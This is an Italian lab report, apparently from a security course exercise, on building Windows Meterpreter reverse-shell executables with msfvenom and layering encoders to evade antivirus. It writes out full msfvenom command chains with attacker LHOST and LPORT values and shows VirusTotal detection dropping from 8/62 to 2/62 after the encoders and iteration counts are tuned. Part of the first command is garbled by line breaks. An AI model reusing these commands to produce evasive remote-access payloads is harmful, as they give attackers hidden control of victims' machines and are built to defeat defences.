

Report MSFvenom W22D4

In questo esercizio dovremo generare payload malevoli tramite l'utilizzo del tool MSFvenom.

Step 1 Per iniziare dovremo generare il payload fornito dalle slide, accenderemo quindi la nostra VM di Kali Linux ed andremo a scrivere il payload contenuto nell'immagine sottostante.

La sintassi del comando è la seguente:

- -p: payload scelto;
- LHOST: IP dell'attaccante, dove si collegherà il payload;
- LPORT: porta dell'attaccante per ricevere la connessione;
- -a X86: architettura del payload (32-bit);
- --platform windows: sistema operativo target (Windows);
- -e x86/shikata_ga_nai: encoder scelto per l'offuscamento;
- -i 100: numero di iterazioni dell'encoder;
- -f raw: output in formato raw;
- -o: salva l'output finale come file eseguibile Windows.

Nel comando sono presenti più | (pipe), questo perché il payload viene codificato più volte con encoder diversi, rendendolo più difficile da rilevare.

```
(root@kali)-[/home/kali]
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.60 LPORT=5959 -a x86 --platform windows -e x86/shikata_
100 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 200 -f raw | msfvenom -a x86 --platform windows -e
ta_ga_nai -i 138 -o polymorph.exe
```

Step 2 Carichiamo l'eseguibile su Virus Total per controllare la rilevabilità del malware generato. Come possiamo vedere ha ricevuto una score di 8/62 ed è stato rilevato da:

- ALYac
- Arcabit
- BitDefender
- CTX
- Emsisoft
- eScan
- Gdata
- VIPRE

The screenshot shows the VirusTotal interface for a file named 'polimorph.exe'. On the left, a circular progress indicator shows a score of 8 out of 62, with the text 'Community Score' below it. To the right, a message states '8/62 security vendors flagged this file as malicious'. Below this, the file's SHA-256 hash is displayed: '4308b31e34dbf284482945d57f4e9d35e3fbc983f7acfc08748cc4dea15d9799'. Further right, the file size is listed as '10.55 KB' and the last analysis date as 'a moment ago'. At the top right, there are links for 'Reanalyze', 'Similar', and 'More'.

Security vendors' analysis ⓘ		Do you want to automate checks?
ALYac	⚠ Exploit.Metacoder.Shikata.Gen	
Arcabit	⚠ Exploit.Metacoder.Shikata.Gen	
BitDefender	⚠ Exploit.Metacoder.Shikata.Gen	
CTX	⚠ Unknown.exploit-kit.metacoder	
Emsisoft	⚠ Exploit.Metacoder.Shikata.Gen (B)	
eScan	⚠ Exploit.Metacoder.Shikata.Gen	
GData	⚠ Exploit.Metacoder.Shikata.Gen	
VIPRE	⚠ Exploit.Metacoder.Shikata.Gen	

Step 3 Andiamo a migliorare il comando originale usando la sintassi mostrata nella figura sottostante.

```
(root@kali)-[/home/kali/Desktop/Malware]
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.60 LPORT=1200 -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/call4_dword_xor -i 275 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 250 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -o polimorph2.exe
```

Step 4 Eseguiamo l'upload su Virus Total e come possiamo vedere la non rilevabilità è molto migliorata e la score è ora 2/62, in quanto è stato rilevato solamente da ClamAV e Google.

2

/ 62

Community Score

2/62 security vendors flagged this file as malicious

Reanalyze Similar More

44371e662a48de2956484316acd74e5b5f91025a5d708105defe385f0affe442

polimorph2.exe

Size

16 B

Last Analysis Date

1 year ago

Security vendors' analysis ⓘ		Do you want to automate checks?
ClamAV	ⓘ Win.Exploit.Countdown-1	
Google	ⓘ Detected	

Facoltativo

Rispetto al comando iniziale sono stati modificati gli encoders e le iterazioni di codifica, questo ha permesso al malware di non essere rilevato come in precedenza.

polimorph.exe		
Encoder	Rank	Iterazioni
shikata_ga_nai	Excellent	100
countdown	Normal	200
shikata_ga_nai	Excellent	138

polimorph2.exe		
Encoder	Rank	Iterazioni
shikata_ga_nai	Excellent	200
call4_dword_xor	Normal	275
xor_dynamic	Normal	250
countdown	Normal	/